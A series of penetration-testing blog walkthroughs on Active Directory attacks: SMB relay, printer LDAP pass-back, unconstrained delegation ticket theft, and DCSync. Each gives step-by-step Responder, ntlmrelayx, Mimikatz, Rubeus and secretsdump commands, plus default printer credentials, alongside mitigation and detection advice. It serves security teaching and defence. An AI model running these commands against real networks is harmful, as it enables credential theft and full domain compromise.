[Active Directory] SMB Relay attack

by Vry4n_ | Feb 17, 2024 | Active Directory

SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.

SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.

Example of SMB communication

• NetBIOS session established between the client and the server,
• Server and client negotiation the SMB protocol dialect,
• Client logs on to the server with the proper credentials,
• Client will connect to a shared resource hosted on the server (i.e. wireless printer),
• Client opens a file on the share, and,
• Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.

Systems that are vulnerable to this attack have SMB signing configured to the following:

• SMB Signing enabled but not required
• SMB Signing disabled

Systems that are not vulnerable to this attack have SMB signing configured to the following:

• SMB signing enabled and required

By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704

Requirements

• SMB signing must be disabled or not enforced on the target
• Must be on the local network
• Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.

Preparation

1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)

• sudo vi /usr/share/responder/Responder.conf

2. Run responder to verify the modules are turned off

• sudo responder -I eth0 -w -b -v -F

Identification

1. Scan the target for smb2 security mode

• nmap –script=smb2-security-mode.nse -p445 192.168.0.101 -Pn

Exploitation

1. Create a list of target hosts

• vi targets.txt
• cat targets.txt

2. Start responder

• sudo responder -I eth0 -w -b -v -F

3. Start impacket-ntlmrelayx

• impacket-ntlmrelayx -tf targets.txt -smb2support

4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails

Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)

Interactive mode (Shell)

1. Use Impacket-ntlmrelayx interactive mode (-i)

• impacket-ntlmrelayx -tf targets.txt -smb2support -i

2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine

• nc 127.0.0.1 11000

3. Use help command to display the list of commands allowed to use

• help

4. Sample of running commands

• shares
• use C$
• ls

Run commands

1. You can also run commands as soon as you receive a connection using the flag (-c)

• impacket-ntlmrelayx -tf targets.txt -smb2support -c “whoami”

Note: depending on the version of ntlmrelax this may fail

Recommendations

Enable SMB Signing on all devices

• Pro: Completely Stops the attack.
• Con: can cause performance issues with the file copies.

Disable NTLM authentication on network

• Pro: Completely stops the attack.
• Con: If kerberos stops working, Windows default back to NTLM.

Accounting tiering:

• Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
• Con: Enforcing the policy may be difficult.

Local admin restriction:

• Pro: Can prevent a lot of lateral movement.
• Con: Potential increase in the amount of service desk tickets.

Sources

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/smb-relay

https://globalt4e.com/ataques-smb-relay/

https://github.com/m4lal0/smbrelay

https://heimdalsecurity.com/blog/what-is-an-smb-relay-attack/

[Active Directory] Printer Passback attack

by Vry4n_ | Feb 17, 2024 | Active Directory

I got this article from (https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)

What is an MFP and MFP Hacking anyway?

Multi-Function Peripherals (MFPs) are an underutilized target in the realm of pen testing. When compared against other high-value targets, MFP hacking appears to be the low man on the totem pole. Penetration testers frequently attack other targets like web applications, file servers, and domain controllers. Too often, the thought is: Why waste your time on printers when you can attack things like systems potentially resulting in:

• Credential Disclosure
• File System Access
• Memory Access

However, as illustrated by a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in discovering all of the above findings, plus more. The best part is that MFP security and maintenance is often forgotten, potentially resulting in a quick win for someone looking to gain entry or escalate their privileges in a compromised network.

MFPs are the clunky pile of plastic typically located in your corporate closet. They’re equipped with network ports, USB drives, and an iPad looking control panel with its own set of specialized applications. These intelligent devices are capable of much more than the standard copy, print, and fax. Don’t forget the occasional paper jam too.

These industrial ink bleeders are loaded with plenty of functionality, like the ability to integrate with the corporate network to allow for convenient scan/email. This functionality necessitates:

• Lightweight Directory Access Protocols (LDAP) integration
• Simple Mail Transfer Protocol (SMTP) integration
• Network Shares

What kind of information is at risk with an MFP? How can you, as a penetration tester, successfully hack into an MFP?

Did You Say LDAP?

MFP-LDAP integration can be a control mechanism to prevent unauthorized users from printing, copying, scanning, etc. It can also be used for email address lookups when leveraging the scan/copy to email functionality, as well as giving authenticated users access to their home folder located on the network.

Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their version of an LDAP implementation for their specific MFP, but they are generally the same concept. If you input a few attributes here, an IP address there, add a username/password, then you sit back and watch the “magic” happen.

Why MFP Hacking Matters

For the MFP to conduct queries on the LDAP server, the MFP must be configured with the appropriate credentials to access the LDAP server, or set with the ability to pass user credentials to the LDAP server. These credentials should be stored somewhere on the MFP and, if we can capture these credentials, then we may have an entryway into the network, and possibly more.

Introducing the Pass-Back Attack

The stored LDAP credentials are usually located on the network settings tab in the online configuration of the MFP and can typically be accessed via the Embedded Web Service (EWS). If you can reach the EWS and modify the LDAP server field by replacing the legitimate LDAP server with your malicious LDAP server, then the next time an LDAP query is conducted from the MFP, it will attempt to authenticate to your LDAP server using the configured credentials or the user-supplied credentials.

Accessing the EWS

Most MFPs ship with a set of default administrative credentials to access the EWS. These credentials are usually located in the Administrator Guide of the MFP in question and are a good place to start for initial access:

VendorUsernamePasswordRicohadminblankHPadminadmin or blankCanonADMINcanonEpsonEPSONWEBadmin

Another way to potentially access the EWS is through the Printer Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information Disclosure and Code Execution. If you are looking to utilize the tools for the first time, here are a few resources to help you get started:

•  https://github.com/RUB-NDS/PRET
•  https://github.com/percx/Praeda
•  http://www.hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet

Replace LDAP Attributes

Once you are authenticated to the EWS, locate the LDAP settings. During our test on an HP Color LaserJet MFP M477fdn, these settings were in the access control portion of the networking tab.

Next, we removed the existing LDAP Server Address, 192.168.1.100, and replaced it with our IP Address. Next, we saved the settings. Then, we created a Netcat listener on port 389, which was the existing port in the LDAP settings of the MFP.

Capture Credentials

The configuration of this MFP requires users to authenticate before using the available resources like the scan-to-email ability. The next time an unsuspecting user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under our control.

• nc -L -l 389

If the MFP supports and is configured to store LDAP credentials for email lookup (the model we tested did not), then these credentials can also be passed back to the LDAP server under our control.

Attacking SMTP and Windows Sign-in

This attack can also be conducted against other settings on the MFP that support authentication. Like LDAP, the Windows sign-in can be an alternative method to control access to the MFP resources. We substitute the existing domain with our own domain, and the next time a domain user signs in at the control panel, the credentials are sent to our domain controller.

Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.

Big Payout with Low Risk

MFPs do not get the attention they deserve when it comes to security. They are usually physically accessible, poorly managed, and shipped with default credentials. All of this, coupled with their payout potential, should make them a prime target for your next engagement.

[Active Directory] Unconstrained delegation

by Vry4n_ | Sep 28, 2023 | Active Directory

Unconstrained delegation is a security feature or misconfiguration in Microsoft Active Directory (AD) that can be exploited by attackers to gain unauthorized access to resources within a network.

Occurs when a computer, such as a File Server, has the “Trust this computer for delegation to any service” option enabled, and a Domain Administrator logs into the File Server. This enables us to grab a copy of the Domain Administrator’s TGT, which can be used to authenticate anywhere in the Domain.

Anytime, a user login onto the Computer, a copy of the TGT of that user is going to be sent inside the TGS provided by the DC and saved in memory in LSASS. So, if you have Administrator privileges on the machine, you will be able to dump the tickets and impersonate the users on any machine.

Attackers can then advance their attacks against unconstrained delegation using PowerShell and Mimikatz commands. They can

• Dump and reuse credentials out of LSASS.
• Export all private certificates.
• Escalate privileges to have debug rights on the remote computer.

So if a domain admin login inside a Computer with “Unconstrained Delegation” feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

What is Active Directory Delegation?

Delegation is an Active Directory feature for when a user or computer account needs to impersonate another account. For example, when a user calls a web application hosted on the web server, the application can impersonate the user credentials to access resources hosted on a different server, such as a database server. Any domain computers with unconstrained delegation enabled can impersonate user credentials to any service in the domain.

Type of Kerberos Delegation:

• Unconstrained delegation
• Constrained delegation
• RBCD (Resource-Based Constrained Delegation)

A user Y requests a TGS for a service

The KDC checks to see if the TRUSTED_FOR_DELEGATION flag is enabled on user X and whether it belongs to the Protected Users group or has the NOT_DELEGATION flag.

In case you only have TRUSTED_FOR_DELEGATION, the KDC will include a TGT for user Y within the TGS for service X.

Finally, service X will receive the TGS and obtain the TGT from user Y.

Requirements

• Elevated privileges on the host that is configured for Unconstrained Delegation.
• Kerberos Authentication: The target environment should use Kerberos authentication.
• Account has the TRUSTED_FOR_DELEGATION flag in the User Account Control (UAC) flags.
• User account has not the NOT_DELEGATED flag set which by default non domain accounts have this flag.

Escalation_Vectors

• Vertically, escalate privileges to a higher privileged user like Domain Admin.
• Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

Used Tools

• Invoke-Mimikatz
• PowerView
• Active Directory Module

Identification

ADSearch

1. You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:

• ADSearch.exe –search “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))” –attributes samaccountname,dnshostname,operatingsystem

PowerView

1. DCs always appear but aren’t useful for privesc

• Get-NetComputer -Unconstrained
• Get-NetComputer -Unconstrained | Select samaccountname

Get-ADComputer (AD Module)

1. Active directory module can also be used to enumerate delegations

• Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
• Get-ADComputer “LAB-CLIENT-WIN1” -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
• Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Note:

• Unconstrained Delegation: TrustedForDelegation = True
• Constrained Delegation: TrustedToAuthForDelegation = True

2. Using the same module querying the “userAccountControl” attribute can provide the same results.

• Get-ADComputer -LDAPFilter “(userAccountControl:1.2.840.113556.1.4.803:=524288)”

Get-ADComputer (AD Module)

1. Enumerate users that possess the TrustedForDelegation flag

• Get-ADUser -Filter {TrustedForDelegation -eq $True}

Exploitation (Mimikatz)

1. Having access to a server with TRUSTED_FOR_DELEGATION flag, when a user requests access to a service, it could be a SMB service, or a website that needs access to a database, we can search for TGT tickets in memory, or we can capture the TGT ticket using Rubeus.exe. First, let’s try to search for tickets using mimikatz

• Mimikatz.exe
• privilege::debug
• sekurlsa::tickets /export
  • mimikatz.exe “token::elevate” “sekurlsa::tickets /export”
• kerberos::list /export
  • mimikatz.exe “token::elevate” “kerberos::list /export”

2. We found tickets, and, exported them.

• dir

Extra (Invoke-Mimikatz)

# Export tickets (Preferred Method (More Accurate))

• Invoke-Mimikatz -Command ‘”token::elevate “sekurlsa::tickets /export”‘

# Alternative Method

• Invoke-Mimikatz -Command ‘””token::elevate” “kerberos::list /export”‘

Mimikatz (Pass the ticket: PTT)

1. Having the ticket exported, proceed to load it

• kerberos::ptt [0;3f2148]-2-0-60a10000-Administrator@krbtgt-VK9-SEC.COM.kirbi

2. List the tickets loaded

• kerberos::list /export

3. Run a new CMD

• misc::cmd
• klist

Exploitation (Rubeus)

1. Look for any existing interesting ticket

• .\Rubeus.exe triage

2. Monitor to see if there are any in coming tickets, from requests from any other service

• .\Rubeus.exe monitor /interval:1
• Rubeus.exe monitor /interval:15 /nowrap
• Rubeus.exe monitor /interval:15 /nowrap /targetuser:administrator

Note: Grab the base64 ticket

(Alternative) 3. You can dump tickets for selected user,service or LUID

• Rubeus.exe dump /nowrap /user:administrator
• Rubeus.exe dump /nowrap /service:krbtgt
• Rubeus.exe dump /nowrap /luid:0x6ee60

Extra (Invoke-Rubeus)

# Triage for existing tickets

• Invoke-Rubeus -Command “triage”

# Dump tickets for selected user,service or LUID

• Invoke-Rubeus -Command “dump /nowrap /user:administrator”
• Invoke-Rubeus -Command “dump /nowrap /service:krbtgt”
• Invoke-Rubeus -Command “dump /nowrap /luid:0x6ee60”

# Monitor for and dump new tickets

• Invoke-Rubeus -Command “monitor interval:15 /nowrap”
• Invoke-Rubeus -Command “monitor interval:15 /nowrap /targetuser:administrator”

Rubeus (Pass the ticket: PTT)

1. Having the ticket we can proceed to use pass the ticket technique

• .\Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show
• .\Rubeus.exe ptt /ticket:[Base64 ticket]
• .\Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

2. You can list the PC cached tickets

• klist

3. Once the ticket has been imported, you can start a remote session to the server

• Enter-PSSession -ComputerName lab-win2019
• hostname; whoami

Note:

For this demo I used this tool to simulate a service on the remote machine (https://github.com/leechristensen/SpoolSample)

Here we have the compiled version

https://github.com/jtmpu/PrecompiledBinaries

Mitigation

• Identify all the servers that have delegation configured. Disable unconstrained Kerberos delegation and configure constrained delegation for servers that require it.
• Enable the “Account is sensitive and cannot be delegated” setting for high privileged accounts.

• Security admins should be more cautious of granting privileged permissions to users who can enable unconstrained Kerberos delegation. The option “Enable computer and user accounts to be trusted for delegation” is available under Security Settings >> Local Policies >> User Rights Assignment.
• Adding user accounts to the Protected Users Security Group, available starting with Windows Server 2012 R2, can also mitigate unconstrained delegation exposure.

Source

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/unconstrained-delegation

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation

https://www.sentinelone.com/blog/detecting-unconstrained-delegation-exposures-in-ad-environment/

https://pentestlab.blog/2022/03/21/unconstrained-delegation/

https://medium.com/r3d-buck3t/attacking-kerberos-unconstrained-delegation-ef77e1fb7203

https://www.semperis.com/blog/active-directory-unconstrained-delegation-security-risks/

https://deephacking.tech/unconstrained-delegation-kerberos/

https://www.hackingarticles.in/domain-escalation-unconstrained-delegation/

https://adsecurity.org/?p=1667

https://en.hackndo.com/constrained-unconstrained-delegation/

[Active Directory] DCSync Attack

by Vry4n_ | Sep 22, 2023 | Active Directory

The DCSync attack is a technique used by malicious actors to retrieve password hashes from a target domain controller in an Active Directory (AD) environment. This attack is based on abusing the DRSUAPI protocol, which is a part of the Microsoft Windows Active Directory replication process. Below, I’ll explain how the DCSync attack works, step by step, its requirements, and how to protect against it:

• The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
• By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
• If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

The following high-level sequence of steps explains how a DCSync attack works, enabling attackers to take complete control of an organization’s AD infrastructure.

• Compromise a standard or non-privileged user account with “Replicate Directory Changes” permission.
• Discover a DC in the specified domain name.
• Request the DC to replicate sensitive information such as password hashes using the Microsoft Directory Replication Service Remote (MS-DRSR) protocol.
• Obtain NTLM hashes of potentially useful accounts such as KRBTGT and Administrators.
• Create a Golden Ticket and run Pass the Ticket (PTT) attacks to move laterally.

A DCSync is not a simple copy & parse of the NTDS.dit file, it’s a DsGetNCChanges operation transported in an RPC request to the DRSUAPI (Directory Replication Service API) to replicate data (including credentials) from a domain controller.

Elements Involved:

• Active Directory Domain Controller (DC): The target domain controller is a Windows server responsible for managing user accounts, authentication, and authorization in the AD environment.
• DCSync Tool: Malicious actors use tools like “Mimikatz”, “PowerShell Empire” or “Impacket” to perform DCSync attacks. These tools have built-in functionality to request password hashes from the target DC.
• Privileged Access: To execute a DCSync attack, an attacker typically needs high-level privileges within the AD environment, such as Domain Admin or equivalent permissions.

Requirements:

• Privileged Access: The attacker needs to have high-level privileges in the AD environment to execute DCSync successfully.
• The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All or Replicating Directory Changes In Filtered Set.
  • Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default.
• Additionally, any security principal with one of the following rights delegated at the domain level can also successfully retrieve password hash data using the DCSync attack.
  • GenericAll (Full Control)
  • AllExtendedRights
• DCSync-Capable Tool: The attacker must have access to a tool with DCSync functionality, such as Mimikatz.
• Network Access: The attacker needs network access to the target domain controller.

Important Notes about DCSync:

• The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
• By default only Domain Admins, Enterprise Admins, Administrators, Read-only Domain Controllers and Domain Controllers groups have the required privileges.
• If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Enumeration (PowerView)

1. Query for the domain info, copy it (DC=vk9-sec,DC=com)

• Get-ForestGlobalCatalog

2. Check who has Replicating Directory Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

• Get-ObjectAcl “DC=vk9-sec,DC=com” -ResolveGUIDS | ? {($_.ObjectAceType -like ‘DS-Replication*’)}
• Get-ObjectAcl “DC=vk9-sec,DC=com” -ResolveGUIDS | ? {($_.ObjectAceType -like ‘Replicating*’)}
• Get-ObjectAcl -DistinguishedName “dc=dollarcorp,dc=moneycorp,dc=local” -ResolveGUIDs | ?{($_.ObjectType -match ‘replication-get’) -or ($_.ActiveDirectoryRights -match ‘GenericAll’) -or ($_.ActiveDirectoryRights -match ‘WriteDacl’)}

Note: knowing already the target user SID we can query

• Get-ObjectAcl “DC=vk9-sec,DC=com” -ResolveGUIDS | ? {($_.ObjectAceType -like ‘DS-Replication*’) -and ($_.SecurityIdentifier -match <SID>)}

3. Knowing there is a user with these types of permissions you can query for the SecurityIdentifier to know which user it is

• Get-ADUser -Identity S-1-5-21-3777574546-3462295754-3391741248-4192

Enumeration (AD module)

1. If any user has following permission, the user can perform DCSync attack:

• DS-Replication-Get-Changes extended right (Rights-GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-All extended right (Rights-GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-In-Filtered-Set extended right (Rights-GUID 89e95b76-444d-4c62-991a-0facbeda640c)

2. Search for users with the permissions

• Import-Module ActiveDirectory
• (Get-Acl “ad:\dc=vk9-sec,dc=com”).Access | ? {($_.ObjectType -eq “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “89e95b76-444d-4c62-991a-0facbeda640c” ) } | select IdentityReference

3. Query a specific user

• (Get-Acl “ad:\dc=vk9-sec,dc=com”).Access | ? {$_.IdentityReference -match ‘user1’ -and ($_.ObjectType -eq “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “89e95b76-444d-4c62-991a-0facbeda640c” ) }

Exploitation

Exploitation (Impacket / Remote)

1. Having the credentials of the user with DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set permissions we can extract the users

• impacket-secretsdump <Domain>/<Username>:<Password>@<IP> -just-dc
• impacket-secretsdump vk9-sec.com/user1:Admin.123@192.168.0.110 -just-dc

2. To write the output in a file use -outputfile

• impacket-secretsdump vk9-sec.com/user1:Admin.123@192.168.0.110 -just-dc -outputfile <filename>

3. We can try pass the hash

• impacket-secretsdump -outputfile ‘something’ -hashes ‘LMhash’:’NThash’ ‘DOMAIN’/’USER’@’DOMAINCONTROLLER’

4. We can also attempt Pass-the-Ticket

• secretsdump -k -outputfile ‘something’ ‘DOMAIN’/’USER’@’DOMAINCONTROLLER’

5. This attack can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to Zerologon since the DRSUAPI always requires signing.

# target vulnerable to Zerologon, dump DC’s secrets only

• ntlmrelayx.py -t dcsync://’DOMAINCONTROLLER’

# target vulnerable to Zerologon, dump Domain’s secrets

• ntlmrelayx.py -t dcsync://’DOMAINCONTROLLER’ -auth-smb ‘DOMAIN’/’LOW_PRIV_USER’:’PASSWO

Errors

1. When the credentials are wrong

2. When the Permissions are invalid

Exploitation (Mimikatz / Local)

1. Once the account is delegated the ability to replicate objects, the account can run Mimikatz DCSync:

# Extract a specific user, in this case the krbtgt

• lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
• lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:Administrator

# Dump everything (printed in a short and readable format)

• lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv

Note: On Windows, mimikatz can be used lsadump::dcsync to operate a DCSync and recover the krbtgt keys for a golden ticket attack for example. For this attack to work, the following mimikatz command should run in an elevated context (i.e. through runas with plaintext password, pass-the-hash or pass-the-ticket).

Detection

Auditing

One method is to monitor Windows event logs for Event ID 4662. Logs are an important part of security, but using them to monitor across the IT environment has significant challenges.

• Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
• Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
• Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed

For detect DCSync attack from Windows Security Log Event ID 4662 we need to check following parameter value:

• SubjectUserName – “The subject fields indicate the account on the local system which requested the logon.”
• AccessMask – will be 0x100 which means Control Access. Access allowed only after extended rights checks supported by the object are performed.
• Properties – This has two parts of information. First part is the type of access that was used. Typically has the same value as Accesses field, for example, here is %%7688 is first part and second part is a tree of GUID values of Active Directory classes or property sets, for which operation was performed. The second part will be our concern point, where we like to check any GUID was match with DS-Replication-Get-Changes extended right / DS-Replication-Get-Changes-All extended / DS-Replication-Get-Changes-In-Filtered-Set extended right.

Detecting DCSync usage

While there may be event activity that could be used to identify DCSync usage, the best detection method is through network monitoring.

1. Identify all Domain Controller IP addresses and add to “Replication Allow List”.

• Get-ADDomainController -filter * | select IPv4Address
• [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress

2. Configure IDS to trigger if DsGetNCChange request originates an IP not on the “Replication Allow List” (list of DC IPs).

Protection Against DCSync Attacks:

• Implement Least Privilege: Limit the number of accounts with high-level privileges like Domain Admins to reduce the potential impact of privilege escalation.
• Regularly Rotate Passwords: Frequently change the passwords of privileged accounts to make it more difficult for attackers to maintain access.
• Monitor for Anomalies: Implement robust monitoring and auditing of AD events. Look for suspicious activities such as unusual replication requests or privilege escalations.
• Restrict Network Access: Limit network access to domain controllers to only trusted systems and administrators.
• Endpoint Security: Employ endpoint security solutions to detect and prevent credential theft and malicious activity
• Limit Tool Availability: Restrict the availability of tools with DCSync capabilities to trusted administrators and systems.
• Limit the number of security principals with replication rights to only those that absolutely require those rights.
• Regularly review and audit your AD environment to identify non-default security principals with these rights and remove any unnecessary permissions.

Sources

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync

https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync

https://www.extrahop.com/resources/attacks/dcsync/

https://adsecurity.org/?p=1729

https://www.semperis.com/blog/ad-security-101-dcsync-rights/

https://www.sentinelone.com/blog/active-directory-dcsync-attacks/

https://pswalia2u.medium.com/active-directory-attack-paths-with-exploitation-will-be-updated-as-i-learn-more-b23b5cfdae10

https://www.linkedin.com/pulse/dcsync-detection-exploitation-debashis-pal/

https://pentestlab.blog/tag/dcsync/